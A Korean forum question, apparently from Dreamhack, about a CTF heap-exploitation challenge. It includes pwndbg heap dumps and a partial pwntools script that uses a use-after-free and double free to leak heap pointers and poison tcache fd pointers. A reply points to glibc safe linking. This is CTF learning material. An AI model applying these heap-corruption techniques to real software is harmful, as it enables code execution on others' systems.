완료됨
문제 풀이 방향에 대한 질문(스포 포함)

취약점을 발견해서 이것저것 exploit을 도전해봤습니다.

분석해보면 HEAP은 크게
노트를 하나 할당할 때마다

  • 노트 구조체 하나(0x20사이즈 고정)
  • 노트 이름 하나(가변 사이즈)
  • 노트 내용 하나(0x100사이즈 고정)
    이 세개가 할당되는 것을 확인했습니다.

결론적 UAF를 발견했고 이를 이용해서

  1. HEAP(이름,내용)의 FD LEAK
  2. HEAP(이름,내용)의 FD 변조
    에 성공하였습니다.

FD변조가 되었기 때문에 다음 Heap 할당시에 변조된 FD 위치에 할당이 되고
그것을 이용한 AAW로 Hook등을 덮어서 Exploit을 하는 것이 해당 문제의 방향이 아닐까 생각하고 있습니다.

여기서 의문은

  • FD로 Program Base를 Leak할수 있는지.
  • Heap FD의 변조가 제대로 되지 않는 이유가 궁금합니다.

HEAP 및 Bins 디버그 내용 공유드립니다.

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x62f7e2075000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x62f7e2075290
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x62f7e20752c0
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x62f7e20753d0
Size: 0x31

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x62f7e2075400
Size: 0x31
fd: 0x62f1cd797525

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x62f7e2075430
Size: 0x111
fd: 0xffdebcbaaaaaaaaa

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x62f7e2075540
Size: 0x31
fd: 0x62f7e2075440

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x62f7e2075570
Size: 0x31
fd: 0x62f1cd7976b5

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x62f7e20755a0
Size: 0x111
fd: 0x62f1cd797435

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x62f7e20756b0
Size: 0x31
fd: 0x62f1cd797465

Top chunk | PREV_INUSE
Addr: 0x62f7e20756e0
Size: 0x20921

pwndbg> bins
tcachebins
0x30 [  6]: 0x62f7e2075580 —▸ 0x62f7e20756c0 —▸ 0x62f7e2075410 —▸ 0x62f7e2075550 ◂— 0x62f1cd797435
0x110 [  3]: 0x62f7e20755b0 —▸ 0x62f7e2075440 ◂— 0xffdebcbc85d48adf
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty

여기서 0x110사이즈 Tcache의 Bins 최하단이 가르키는 곳이 0xffdebcbaaaaaaaaa이 되지 않는 이유가 궁금합니다.

제가 현재 작성한 Exploit을 첨부드립니다.

from pwn import *

# 설정
context.arch = 'amd64'
context.log_level = 'debug'

# 바이너리 실행
p = process('./prob')
#p = remote("host3.dreamhack.games",23474)
e = ELF("./prob")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def create_note(idx, name_size, name, content):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"idx > ", str(idx).encode())
    p.sendlineafter(b"name size > ", str(name_size).encode())
    p.sendlineafter(b"name > ", name)
    p.sendafter(b"content > ", content)

def delete_note(idx):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"idx > ", str(idx).encode())

def edit_note(idx, name, content):
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b"idx > ", str(idx).encode())
    p.sendlineafter(b"name > ", name)
    p.sendlineafter(b"content > ", content)

def print_note(idx):
    p.sendlineafter(b"> ", b"4")
    p.sendlineafter(b"idx > ", str(idx).encode())
    p.recvuntil(b"name : ")
    name = p.recvline().strip()
    p.recvuntil(b"content : ")
    content = p.recvline().strip()
    return name, content

create_note(0, 32, b'AAAA', b'B'*0x10)
create_note(1, 32, b'AAAA', b'B'*0x10)
create_note(2, 32, b'AAAA', b'B'*0x10)
delete_note(0)
delete_note(0)
p.sendlineafter(b"> ", b"4")
p.sendlineafter(b"idx > ", str(0).encode())
p.recvuntil(b"name : ")
name = p.recv(5)+b'\x00\x00\x00'
name = u64(name)*0x1000
delete_note(1)
delete_note(1)
delete_note(2)
delete_note(2)
print(hex(name))
edit_note(0,p64(name+0x440),p64(name+0x440))
edit_note(1,p64(name+0x440),b'\xAA\xAA\xAA\xAA\xBA\xBC\xDE\xFF')

gdb.attach(p)
p.interactive()

#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1

핵심적인 버그는 제대로 발견하신 것 같습니다. 다만 라이브러리(glibc) 릭을 추가로 낼 수 있는데, 이것만 획득하시면 문제없이 익스플로잇이 될 것 같네요!
tcache bin 주소가 제대로 바뀌지 않는 이유는 safe linking 관련 이슈로 보입니닷!!

2025.04.22. 18:00